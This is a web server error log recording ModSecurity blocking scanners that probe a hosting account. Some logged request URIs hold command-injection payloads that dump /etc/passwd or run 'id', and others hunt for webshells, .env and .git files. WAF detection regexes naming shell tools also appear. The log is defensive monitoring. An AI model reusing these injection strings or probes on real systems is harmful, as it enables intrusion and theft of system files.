[Mon Nov 17 13:59:20.809584 2025] [:error] [pid 39537:tid 39556] [client 144.48.39.132:43668] [client 144.48.39.132] ModSecurity: Access denied with code 403 (phase 2). Match of "contains cpanel" against "REQUEST_URI" required. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "55"] [id "211190"] [rev "9"] [msg "COMODO WAF: Remote File Access Attempt||www.windfarmcoolants.com.au|F|2"] [data "Matched Data: /etc/ found within REQUEST_URI: /install/install.php?step=4"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.windfarmcoolants.com.au"] [uri "/install/install.php"] [unique_id "aRq5uIZRrh1pcrdcLB-KZQAAANA"]
[Mon Nov 17 13:59:21.150354 2025] [:error] [pid 39450:tid 39489] [client 144.48.39.132:43690] [client 144.48.39.132] ModSecurity: Access denied with code 403 (phase 2). Match of "contains cpanel" against "REQUEST_URI" required. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "55"] [id "211190"] [rev "9"] [msg "COMODO WAF: Remote File Access Attempt||www.windfarmcoolants.com.au|F|2"] [data "Matched Data: /etc/ found within REQUEST_URI: /card_scan.php?No=30&ReaderNo=%60cat%20/etc/passwd%20%3E%20UjxYmkMYAL.txt%60"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.windfarmcoolants.com.au"] [uri "/card_scan.php"] [unique_id "aRq5ueoZqPB4_7vNEDQQfQAAAEg"]
[Mon Nov 17 13:59:22.404758 2025] [:error] [pid 15150:tid 15154] [client 144.48.39.132:43712] [client 144.48.39.132] ModSecurity: Access denied with code 403 (phase 2). Match of "contains cpanel" against "REQUEST_URI" required. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "55"] [id "211190"] [rev "9"] [msg "COMODO WAF: Remote File Access Attempt||www.windfarmcoolants.com.au|F|2"] [data "Matched Data: /etc/ found within REQUEST_URI: /"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.windfarmcoolants.com.au"] [uri "/"] [unique_id "aRq5un2DEo_rcsFuxj1Q0wAAAYI"]
[Mon Nov 17 13:59:22.405822 2025] [:error] [pid 39450:tid 39486] [client 144.48.39.132:43718] [client 144.48.39.132] ModSecurity: Access denied with code 403 (phase 2). Pattern match "(?:\\\\b(?:c(?:d(?:\\\\b[^a-zA-Z0-9_]{0,}?[\\\\/]|[^a-zA-Z0-9_]{0,}?\\\\.\\\\.)|hmod.{0,40}?\\\\+.{0,3}x|md(?:\\\\b[^a-zA-Z0-9_]{0,}?\\\\/c|(?:\\\\.exe|32)\\\\b))|(?:echo\\\\b[^a-zA-Z0-9_]{0,}?\\\\by{1,}|n(?:et(?:\\\\b[^a-zA-Z0-9_]{1,}?\\\\blocalgroup|\\\\.exe)|(?:c|map)\\\\.exe)|t(? ..." at MATCHED_VAR. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "65"] [id "211210"] [rev "8"] [msg "COMODO WAF: System Command Injection||www.windfarmcoolants.com.au|F|2"] [data "Matched Data: | id found within ARGS:log:  echo xtgnplnvxzrhngewmmfxlzlcmzdjtojb | id"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.windfarmcoolants.com.au"] [uri "/__debugging_center_utils___.php"] [unique_id "aRq5uuoZqPB4_7vNEDQQgAAAAEU"]
[Mon Nov 17 13:59:22.405889 2025] [:error] [pid 39450:tid 39489] [client 144.48.39.132:43704] [client 144.48.39.132] ModSecurity: Access denied with code 403 (phase 2). Match of "contains cpanel" against "REQUEST_URI" required. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "55"] [id "211190"] [rev "9"] [msg "COMODO WAF: Remote File Access Attempt||www.windfarmcoolants.com.au|F|2"] [data "Matched Data: /etc/ found within REQUEST_URI: /include/exportUser.php?type=3&cla=application&func=_exec&opt=(cat%20/etc/passwd)%3Ekcja.txt"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.windfarmcoolants.com.au"] [uri "/include/exportUser.php"] [unique_id "aRq5uuoZqPB4_7vNEDQQfwAAAEg"]
[Mon Nov 17 13:59:22.692105 2025] [:error] [pid 15150:tid 15154] [client 144.48.39.132:43720] [client 144.48.39.132] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/Web.config" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.windfarmcoolants.com.au"] [uri "/web.config.i18n.ashx"] [unique_id "aRq5un2DEo_rcsFuxj1Q1QAAAYI"]
[Mon Nov 17 13:59:25.674923 2025] [:error] [pid 31419:tid 31429] [client 144.48.39.132:43820] File does not exist: /usr/local/apache/htdocs/suspended-page/index.php
[Mon Nov 17 13:59:33.783821 2025] [:error] [pid 65302:tid 65314] [client 144.48.39.108:44138] [client 144.48.39.108] ModSecurity: Access denied with code 403 (phase 2). Pattern match "(?i)((?:\\\\bx(?:link:href|html|mlns)|!ENTITY\\\\b.{0,399}?\\\\b(?:SYSTEM|PUBLIC)|\\\\bdata:text\\\\/html))" at XML. [file "/usr/local/apache/modsecurity-cwaf/rules/07_XSS_XSS.conf"] [line "170"] [id "213060"] [rev "7"] [msg "COMODO WAF: XSS Filter - Category 3: Attribute Vector||www.windfarmcoolants.com.au|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "XSS"] [hostname "www.windfarmcoolants.com.au"] [uri "/adxmlrpc.php"] [unique_id "aRq5xQPMSx2v85r8y7zNLQAAAUo"]
[Mon Nov 17 13:59:37.410852 2025] [:error] [pid 39537:tid 39546] [client 144.48.39.108:44208] [client 144.48.39.108] ModSecurity: Access denied with code 403 (phase 2). Match of "contains cpanel" against "REQUEST_URI" required. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "55"] [id "211190"] [rev "9"] [msg "COMODO WAF: Remote File Access Attempt||www.windfarmcoolants.com.au|F|2"] [data "Matched Data: /etc/ found within REQUEST_URI: /"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.windfarmcoolants.com.au"] [uri "/"] [unique_id "aRq5yYZRrh1pcrdcLB-KbAAAAMY"]
[Mon Nov 17 13:59:37.413016 2025] [:error] [pid 39450:tid 39503] [client 144.48.39.108:44204] File does not exist: /usr/local/apache/htdocs/suspended-page/__debugging_center_utils___.php
[Mon Nov 17 17:20:29.807090 2025] [:error] [pid 65302:tid 65316] [client 144.48.39.132:52844] [client 144.48.39.132] ModSecurity: Access denied with code 403 (phase 2). Match of "contains cpanel" against "REQUEST_URI" required. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "55"] [id "211190"] [rev "9"] [msg "COMODO WAF: Remote File Access Attempt||www.windfarmcoolants.com.au|F|2"] [data "Matched Data: /etc/ found within REQUEST_URI: /login"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.windfarmcoolants.com.au"] [uri "/login"] [unique_id "aRro3QPMSx2v85r8y7znIwAAAUw"], referer: www.windfarmcoolants.com.au/module/login/login.html
[Mon Nov 17 17:20:29.811188 2025] [:error] [pid 65302:tid 65304] [client 144.48.39.132:52860] File does not exist: /usr/local/apache/htdocs/suspended-page/index.php
[Mon Nov 17 22:04:12.733463 2025] [:error] [pid 40548:tid 40558] [client 51.57.73.118:40927] File does not exist: /usr/local/apache/htdocs/suspended-page/1.php, referer: https://www.bing.com/
[Mon Nov 17 22:04:12.984229 2025] [:error] [pid 40548:tid 40568] [client 51.57.73.118:40927] File does not exist: /usr/local/apache/htdocs/suspended-page/aa.php, referer: https://www.google.co.uk/
[Mon Nov 17 22:04:13.264666 2025] [:error] [pid 40548:tid 40555] [client 51.57.73.118:40927] File does not exist: /usr/local/apache/htdocs/suspended-page/about.php, referer: https://duckduckgo.com/
[Mon Nov 17 22:04:13.436064 2025] [:error] [pid 40548:tid 40562] [client 51.57.73.118:40927] File does not exist: /usr/local/apache/htdocs/suspended-page/admin.php, referer: https://www.google.de/
[Mon Nov 17 22:04:13.748644 2025] [:error] [pid 40548:tid 40556] [client 51.57.73.118:40927] File does not exist: /usr/local/apache/htdocs/suspended-page/admin.php, referer: https://www.yahoo.com/
[Mon Nov 17 22:04:13.915371 2025] [:error] [pid 40548:tid 40569] [client 51.57.73.118:40927] File does not exist: /usr/local/apache/htdocs/suspended-page/akc.php, referer: https://www.yahoo.com/
[Mon Nov 17 22:04:15.140364 2025] [:error] [pid 40548:tid 40561] [client 51.57.73.118:40927] File does not exist: /usr/local/apache/htdocs/suspended-page/asasx.php, referer: https://www.google.com/
[Mon Nov 17 22:04:15.301033 2025] [:error] [pid 40548:tid 40566] [client 51.57.73.118:40927] File does not exist: /usr/local/apache/htdocs/suspended-page/atomlib.php, referer: https://www.google.co.uk/
[Mon Nov 17 22:04:15.549478 2025] [:error] [pid 40548:tid 40571] [client 51.57.73.118:40927] File does not exist: /usr/local/apache/htdocs/suspended-page/autoload_classmap.php, referer: https://www.google.de/
[Mon Nov 17 22:04:15.726836 2025] [:error] [pid 40548:tid 40573] [client 51.57.73.118:40927] File does not exist: /usr/local/apache/htdocs/suspended-page/buy.php, referer: https://www.bing.com/
[Mon Nov 17 22:04:16.004224 2025] [:error] [pid 40548:tid 40551] [client 51.57.73.118:40927] File does not exist: /usr/local/apache/htdocs/suspended-page/chosen.php, referer: https://www.google.de/
[Mon Nov 17 22:04:17.428960 2025] [:error] [pid 40548:tid 40551] [client 51.57.73.118:40927] File does not exist: /usr/local/apache/htdocs/suspended-page/classwithtostring.php, referer: https://www.google.co.uk/
[Mon Nov 17 22:04:17.660232 2025] [:error] [pid 40548:tid 40564] [client 51.57.73.118:40927] File does not exist: /usr/local/apache/htdocs/suspended-page/cong.php, referer: https://www.google.de/
[Mon Nov 17 22:04:17.828450 2025] [:error] [pid 40548:tid 40550] [client 51.57.73.118:40927] File does not exist: /usr/local/apache/htdocs/suspended-page/default.php, referer: https://www.google.fr/
[Mon Nov 17 22:04:17.988256 2025] [:error] [pid 40548:tid 40557] [client 51.57.73.118:40927] File does not exist: /usr/local/apache/htdocs/suspended-page/dropdown.php, referer: https://www.google.de/
[Mon Nov 17 22:04:18.151923 2025] [:error] [pid 40548:tid 40560] [client 51.57.73.118:40927] File does not exist: /usr/local/apache/htdocs/suspended-page/edit.php, referer: https://www.google.com/
[Mon Nov 17 22:04:18.488674 2025] [:error] [pid 40548:tid 40554] [client 51.57.73.118:40927] File does not exist: /usr/local/apache/htdocs/suspended-page/ioxi-o.php, referer: https://www.google.fr/
[Mon Nov 17 22:04:18.647587 2025] [:error] [pid 40548:tid 40563] [client 51.57.73.118:40927] File does not exist: /usr/local/apache/htdocs/suspended-page/item.php, referer: https://www.google.com/
[Mon Nov 17 22:04:18.866471 2025] [:error] [pid 40548:tid 40558] [client 51.57.73.118:40927] File does not exist: /usr/local/apache/htdocs/suspended-page/makeasmtp.php, referer: https://www.google.co.uk/
[Mon Nov 17 22:04:19.028235 2025] [:error] [pid 40548:tid 40568] [client 51.57.73.118:40927] File does not exist: /usr/local/apache/htdocs/suspended-page/new.php, referer: https://www.google.co.uk/
[Mon Nov 17 22:04:19.345302 2025] [:error] [pid 40548:tid 40562] [client 51.57.73.118:40927] File does not exist: /usr/local/apache/htdocs/suspended-page/abcd.php, referer: https://www.google.co.uk/
[Mon Nov 17 22:04:19.538517 2025] [:error] [pid 40548:tid 40556] [client 51.57.73.118:40927] File does not exist: /usr/local/apache/htdocs/suspended-page/ds.php, referer: https://www.google.de/
[Mon Nov 17 22:04:19.730178 2025] [:error] [pid 40548:tid 40569] [client 51.57.73.118:40927] File does not exist: /usr/local/apache/htdocs/suspended-page/alfa.php, referer: https://www.google.co.uk/
[Mon Nov 17 22:04:19.894119 2025] [:error] [pid 40548:tid 40553] [client 51.57.73.118:40927] File does not exist: /usr/local/apache/htdocs/suspended-page/hplfuns.php, referer: https://duckduckgo.com/
[Mon Nov 17 22:04:20.057962 2025] [:error] [pid 40548:tid 40561] [client 51.57.73.118:40927] File does not exist: /usr/local/apache/htdocs/suspended-page/file.php, referer: https://www.google.de/
[Mon Nov 17 22:04:20.275386 2025] [:error] [pid 40548:tid 40566] [client 51.57.73.118:40927] File does not exist: /usr/local/apache/htdocs/suspended-page/adminfuns.php, referer: https://www.google.co.uk/
[Mon Nov 17 22:04:21.186701 2025] [:error] [pid 40548:tid 40574] [client 51.57.73.118:40927] File does not exist: /usr/local/apache/htdocs/suspended-page/moon.php, referer: https://www.bing.com/
[Mon Nov 17 22:04:21.546170 2025] [:error] [pid 40548:tid 40570] [client 51.57.73.118:40927] File does not exist: /usr/local/apache/htdocs/suspended-page/goods.php, referer: https://duckduckgo.com/
[Mon Nov 17 22:04:22.014102 2025] [:error] [pid 40548:tid 40557] [client 51.57.73.118:40927] File does not exist: /usr/local/apache/htdocs/suspended-page/wp-good.php, referer: https://www.google.fr/
[Mon Nov 17 22:04:22.408460 2025] [:error] [pid 40548:tid 40560] [client 51.57.73.118:40927] File does not exist: /usr/local/apache/htdocs/suspended-page/xmrlpc.php, referer: https://www.google.com/
[Mon Nov 17 22:04:22.608455 2025] [:error] [pid 40548:tid 40572] [client 51.57.73.118:40927] File does not exist: /usr/local/apache/htdocs/suspended-page/info.php, referer: https://www.google.de/
[Tue Nov 18 03:37:15.418885 2025] [:error] [pid 11970:tid 12033] [client 57.154.46.156:42807] File does not exist: /usr/local/apache/htdocs/suspended-page/aa.php
[Tue Nov 18 03:37:15.864512 2025] [:error] [pid 11970:tid 12054] [client 57.154.46.156:42807] File does not exist: /usr/local/apache/htdocs/suspended-page/abcd.php
[Tue Nov 18 03:37:16.069963 2025] [:error] [pid 11970:tid 12047] [client 57.154.46.156:42807] File does not exist: /usr/local/apache/htdocs/suspended-page/admin.php
[Tue Nov 18 03:37:16.272599 2025] [:error] [pid 11970:tid 12034] [client 57.154.46.156:42807] File does not exist: /usr/local/apache/htdocs/suspended-page/buy.php
[Tue Nov 18 03:37:16.913029 2025] [:error] [pid 11970:tid 12042] [client 57.154.46.156:42807] File does not exist: /usr/local/apache/htdocs/suspended-page/edit.php
[Tue Nov 18 03:37:17.142736 2025] [:error] [pid 11970:tid 12041] [client 57.154.46.156:42807] File does not exist: /usr/local/apache/htdocs/suspended-page/file.php
[Tue Nov 18 03:37:17.425727 2025] [:error] [pid 11970:tid 12039] [client 57.154.46.156:42807] File does not exist: /usr/local/apache/htdocs/suspended-page/flower.php
[Tue Nov 18 03:37:18.332752 2025] [:error] [pid 11970:tid 12045] [client 57.154.46.156:42807] File does not exist: /usr/local/apache/htdocs/suspended-page/info.php
[Tue Nov 18 04:26:04.199710 2025] [:error] [pid 61482:tid 61497] [client 51.81.107.180:49392] File does not exist: /usr/local/apache/htdocs/suspended-page/vdconnect-fyk6hz6w.php
[Tue Nov 18 08:04:44.170762 2025] [:error] [pid 28635:tid 28653] [client 185.102.115.93:51832] [client 185.102.115.93] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/(?:tinyfilemanager(?:\\\\.php)?|filemanager\\\\.php|fm\\\\.php|tiny\\\\.php|wp-content/plugins/pwnd/pwnd\\\\.php|wp-includes/(?:block-supports/autoload_classmap\\\\.php|Text/Diff/Engine/wp\\\\.php|blocks/details/about\\\\.php))$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "29"] [id "771002"] [msg "Blocked probe for known bad path/file manager/webshell"] [tag "probes"] [tag "wordpress"] [hostname "windfarmcoolants.com.au"] [uri "/wp-content/plugins/pwnd/pwnd.php"] [unique_id "aRu4HGB61AnWhG54Xz3FIAAAAc8"]
[Tue Nov 18 11:37:29.787656 2025] [:error] [pid 33327:tid 33345] [client 134.199.154.18:45298] [client 134.199.154.18] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "windfarmcoolants.com.au"] [uri "/.git/config"] [unique_id "aRvp-ULJx6GPzjILiwq6eAAAAo8"]
[Tue Nov 18 11:37:29.858064 2025] [:error] [pid 29195:tid 29219] [client 134.199.154.18:42032] [client 134.199.154.18] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "windfarmcoolants.com.au"] [uri "/.git/config"] [unique_id "aRvp-RMeonxy_4yeOTWH8QAAARY"]
[Tue Nov 18 11:50:37.222921 2025] [:error] [pid 44560:tid 44582] [client 98.98.79.116:53678] [client 98.98.79.116] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 98.98.79.116, incrementing brute counter"] [hostname "windfarmcoolants.com.au"] [uri "/wp-login.php"] [unique_id "aRvtDQnbP7etF3q5-5v5eAAAAMs"]
[Tue Nov 18 11:50:37.226522 2025] [:error] [pid 44560:tid 44582] [client 98.98.79.116:53678] File does not exist: /usr/local/apache/htdocs/suspended-page/wp-login.php
[Tue Nov 18 14:28:36.838200 2025] [:error] [pid 44624:tid 44637] [client 185.102.115.93:47770] File does not exist: /usr/local/apache/htdocs/suspended-page/ww2.php
[Tue Nov 18 17:57:40.691149 2025] [:error] [pid 44471:tid 44509] [client 84.247.191.22:51208] [client 84.247.191.22] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-admin/css/"] [unique_id "aRxDFO_6m0bQO14XwtNKKQAAAQU"], referer: binance.com
[Tue Nov 18 18:12:17.305463 2025] [:error] [pid 44472:tid 44533] [client 185.68.111.96:45766] [client 185.68.111.96] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 185.68.111.96, incrementing brute counter"] [hostname "windfarmcoolants.com.au"] [uri "/wp-login.php"] [unique_id "aRxGgYKhGwkiLjv8BQzqTAAAAUI"]
[Tue Nov 18 18:12:17.311250 2025] [:error] [pid 44472:tid 44533] [client 185.68.111.96:45766] File does not exist: /usr/local/apache/htdocs/suspended-page/wp-login.php
[Tue Nov 18 21:37:31.942880 2025] [:error] [pid 57578:tid 57589] [client 45.134.79.103:62837] [client 45.134.79.103] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/"] [unique_id "aRx2mz9_jVUQm7Io75ML0wAAAIk"]
[Tue Nov 18 21:37:32.627508 2025] [:error] [pid 44471:tid 44512] [client 45.134.79.103:54582] [client 45.134.79.103] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/"] [unique_id "aRx2nO_6m0bQO14XwtOC-AAAAQg"]
[Tue Nov 18 21:37:33.291484 2025] [:error] [pid 3500:tid 3518] [client 45.134.79.103:59997] [client 45.134.79.103] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/wlwmanifest.xml"] [unique_id "aRx2nfCbRC7k2D7mjbST-gAAAdA"]
[Tue Nov 18 22:22:34.743511 2025] [:error] [pid 44560:tid 44586] [client 198.46.154.59:50211] [client 198.46.154.59] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "windfarmcoolants.com.au"] [uri "/.env"] [unique_id "aRyBKgnbP7etF3q5-5vWjAAAAM8"]
[Tue Nov 18 22:22:55.889778 2025] [:error] [pid 1387:tid 1408] [client 198.46.154.59:50409] [client 198.46.154.59] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "windfarmcoolants.com.au"] [uri "/.env"] [unique_id "aRyBP0zBvalKyx3hMvWr9gAAAA8"]
[Tue Nov 18 23:54:32.334463 2025] [:error] [pid 1387:tid 1400] [client 209.141.47.135:55252] [client 209.141.47.135] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 209.141.47.135, incrementing brute counter"] [hostname "windfarmcoolants.com.au"] [uri "/wp-login.php"] [unique_id "aRyWuEzBvalKyx3hMvXDnQAAAAc"], referer: https://duckduckgo.com/
[Tue Nov 18 23:54:32.338600 2025] [:error] [pid 1387:tid 1400] [client 209.141.47.135:55252] File does not exist: /usr/local/apache/htdocs/suspended-page/wp-login.php, referer: https://duckduckgo.com/
[Wed Nov 19 01:28:22.100836 2025] [:error] [pid 3052:tid 3135] [client 20.25.163.76:64536] File does not exist: /usr/local/apache/htdocs/suspended-page/form.php, referer: https://www.google.com/
[Wed Nov 19 01:28:22.263846 2025] [:error] [pid 3052:tid 3149] [client 20.25.163.76:64536] File does not exist: /usr/local/apache/htdocs/suspended-page/aa.php, referer: https://www.google.de/
[Wed Nov 19 01:28:22.427276 2025] [:error] [pid 3052:tid 3139] [client 20.25.163.76:64536] File does not exist: /usr/local/apache/htdocs/suspended-page/abcd.php, referer: https://www.google.de/
[Wed Nov 19 01:28:22.635950 2025] [:error] [pid 3052:tid 3129] [client 20.25.163.76:64536] File does not exist: /usr/local/apache/htdocs/suspended-page/admin.php, referer: https://www.yahoo.com/
[Wed Nov 19 01:28:24.864628 2025] [:error] [pid 3052:tid 3143] [client 20.25.163.76:64536] File does not exist: /usr/local/apache/htdocs/suspended-page/.__info.php, referer: https://www.yahoo.com/
[Wed Nov 19 01:28:25.376164 2025] [:error] [pid 3052:tid 3128] [client 20.25.163.76:64536] File does not exist: /usr/local/apache/htdocs/suspended-page/info.php, referer: https://www.yahoo.com/
[Wed Nov 19 01:28:25.534112 2025] [:error] [pid 3052:tid 3146] [client 20.25.163.76:64536] [client 20.25.163.76] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 20.25.163.76, incrementing ddos counter"] [hostname "windfarmcoolants.com.au"] [uri "/xmlrpc.php"] [unique_id "aRysuVNM6bOMTTuJnz18HQAAANE"], referer: https://www.google.de/
[Wed Nov 19 01:28:25.538996 2025] [:error] [pid 3052:tid 3146] [client 20.25.163.76:64536] File does not exist: /usr/local/apache/htdocs/suspended-page/xmlrpc.php, referer: https://www.google.de/
[Wed Nov 19 01:28:25.873782 2025] [:error] [pid 3052:tid 3142] [client 20.25.163.76:64536] File does not exist: /usr/local/apache/htdocs/suspended-page/aaa.php, referer: https://www.google.co.uk/
[Wed Nov 19 01:28:26.049212 2025] [:error] [pid 3052:tid 3139] [client 20.25.163.76:64536] File does not exist: /usr/local/apache/htdocs/suspended-page/about.php, referer: https://www.google.com/
[Wed Nov 19 01:28:26.398764 2025] [:error] [pid 3052:tid 3129] [client 20.25.163.76:64536] File does not exist: /usr/local/apache/htdocs/suspended-page/adminfuns.php, referer: https://www.google.co.uk/
[Wed Nov 19 01:28:28.029428 2025] [:error] [pid 3052:tid 3133] [client 20.25.163.76:64536] File does not exist: /usr/local/apache/htdocs/suspended-page/akcc.php, referer: https://www.yahoo.com/
[Wed Nov 19 01:28:28.231982 2025] [:error] [pid 3052:tid 3137] [client 20.25.163.76:64536] File does not exist: /usr/local/apache/htdocs/suspended-page/alfa.php, referer: https://www.yahoo.com/
[Wed Nov 19 01:28:28.413967 2025] [:error] [pid 3052:tid 3134] [client 20.25.163.76:64536] File does not exist: /usr/local/apache/htdocs/suspended-page/build.php, referer: https://www.google.co.uk/
[Wed Nov 19 01:28:28.576760 2025] [:error] [pid 3052:tid 3153] [client 20.25.163.76:64536] File does not exist: /usr/local/apache/htdocs/suspended-page/buy.php, referer: https://www.yahoo.com/
[Wed Nov 19 01:28:29.453993 2025] [:error] [pid 3052:tid 3146] [client 20.25.163.76:64536] File does not exist: /usr/local/apache/htdocs/suspended-page/chosen.php, referer: https://www.google.de/
[Wed Nov 19 01:28:29.619228 2025] [:error] [pid 3052:tid 3150] [client 20.25.163.76:64536] File does not exist: /usr/local/apache/htdocs/suspended-page/classwithtostring.php, referer: https://www.bing.com/
[Wed Nov 19 01:28:29.786680 2025] [:error] [pid 3052:tid 3139] [client 20.25.163.76:64536] File does not exist: /usr/local/apache/htdocs/suspended-page/default.php, referer: https://duckduckgo.com/
[Wed Nov 19 01:28:29.947085 2025] [:error] [pid 3052:tid 3144] [client 20.25.163.76:64536] File does not exist: /usr/local/apache/htdocs/suspended-page/edit.php, referer: https://www.google.de/
[Wed Nov 19 01:28:31.475085 2025] [:error] [pid 3052:tid 3144] [client 20.25.163.76:64536] File does not exist: /usr/local/apache/htdocs/suspended-page/file.php, referer: https://www.google.de/
[Wed Nov 19 01:28:32.218012 2025] [:error] [pid 3052:tid 3143] [client 20.25.163.76:64536] [client 20.25.163.76] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/(?:tinyfilemanager(?:\\\\.php)?|filemanager\\\\.php|fm\\\\.php|tiny\\\\.php|wp-content/plugins/pwnd/pwnd\\\\.php|wp-includes/(?:block-supports/autoload_classmap\\\\.php|Text/Diff/Engine/wp\\\\.php|blocks/details/about\\\\.php))$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "29"] [id "771002"] [msg "Blocked probe for known bad path/file manager/webshell"] [tag "probes"] [tag "wordpress"] [hostname "windfarmcoolants.com.au"] [uri "/filemanager.php"] [unique_id "aRyswFNM6bOMTTuJnz18NQAAAM4"], referer: https://www.google.de/
[Wed Nov 19 01:28:33.159812 2025] [:error] [pid 43881:tid 43937] [client 20.25.163.76:2898] File does not exist: /usr/local/apache/htdocs/suspended-page/flower.php, referer: https://www.google.de/
[Wed Nov 19 01:28:33.493406 2025] [:error] [pid 43881:tid 43935] [client 20.25.163.76:2898] File does not exist: /usr/local/apache/htdocs/suspended-page/go.php, referer: https://www.google.com/
[Wed Nov 19 01:28:35.322097 2025] [:error] [pid 43881:tid 43921] [client 20.25.163.76:2898] File does not exist: /usr/local/apache/htdocs/suspended-page/ioxi-o.php, referer: https://www.google.co.uk/
[Wed Nov 19 01:28:35.487032 2025] [:error] [pid 43881:tid 43937] [client 20.25.163.76:2898] File does not exist: /usr/local/apache/htdocs/suspended-page/mari.php, referer: https://www.yahoo.com/
[Wed Nov 19 01:28:35.653448 2025] [:error] [pid 43881:tid 43927] [client 20.25.163.76:2898] File does not exist: /usr/local/apache/htdocs/suspended-page/moon.php, referer: https://duckduckgo.com/
[Wed Nov 19 01:28:35.814075 2025] [:error] [pid 43881:tid 43932] [client 20.25.163.76:2898] File does not exist: /usr/local/apache/htdocs/suspended-page/nc4.php, referer: https://www.google.de/
[Wed Nov 19 01:28:36.462824 2025] [:error] [pid 43881:tid 43920] [client 20.25.163.76:2898] [client 20.25.163.76] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/style-engine/index.php"] [unique_id "aRysxH_TrIND5buvEyfWcgAAAUc"], referer: https://www.google.co.uk/
[Wed Nov 19 01:28:40.947789 2025] [:error] [pid 3052:tid 3146] [client 20.25.163.76:2366] File does not exist: /usr/local/apache/htdocs/suspended-page/xleet.php, referer: https://www.google.de/
[Wed Nov 19 01:28:41.463294 2025] [:error] [pid 3052:tid 3133] [client 20.25.163.76:2366] File does not exist: /usr/local/apache/htdocs/suspended-page/wp-good.php, referer: https://www.google.co.uk/
[Wed Nov 19 01:28:43.770609 2025] [:error] [pid 3052:tid 3141] [client 20.25.163.76:2366] File does not exist: /usr/local/apache/htdocs/suspended-page/xmrlpc.php, referer: https://www.google.fr/
